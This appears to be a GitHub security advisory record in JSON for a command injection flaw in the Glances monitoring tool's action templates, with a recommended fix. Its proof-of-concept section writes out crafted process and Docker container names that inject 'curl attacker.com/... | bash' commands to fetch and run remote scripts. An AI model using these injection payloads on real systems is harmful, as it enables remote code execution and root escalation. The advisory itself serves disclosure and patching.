CVE-2026-32608: Glances Glances Has A Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vcv2-q258-wrg7",
  "modified" : "2026-03-19T21:05:21Z",
  "published" : "2026-03-16T16:26:22Z",
  "aliases" : [ "CVE-2026-32608" ],
  "summary" : "Glances has a Command Injection via Process Names in Action Command Templates",
  "details" : "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n    cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n    ret = \"\"\n    for c in cmd.split(\"&&\"):\n        ret += __secure_popen(c)\n    return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n    with open(stdout_redirect, \"w\") as stdout_redirect_file:\n        stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" >> /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 &\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n#   Command 1: echo \"ALERT: innocent\n#   Command 2: curl attacker.com/evil.sh   <-- INJECTED\n#   Command 3: bash used 99% CPU\" >> /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via && in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with && injection:\ndocker run --name \"web && curl attacker.com/rev.sh | bash && echo \" nginx\n\n# 3. secure_popen splits by &&:\n#   Command 1: docker stats web\n#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED\n#   Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n    \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n    if not isinstance(value, str):\n        return value\n    value = value.replace(\"&&\", \" \")\n    value = value.replace(\"|\", \" \")\n    value = value.replace(\">\", \" \")\n    return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n    for cmd in commands:\n        if chevron_tag:\n            if mustache_dict:\n                safe_dict = {\n                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n                    for k, v in mustache_dict.items()\n                }\n            else:\n                safe_dict = mustache_dict\n            cmd_full = chevron.render(cmd, safe_dict)\n        else:\n            cmd_full = cmd\n        ...\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T16:26:22Z",
    "nvd_published_at" : "2026-03-18T07:16:21Z"
  }
}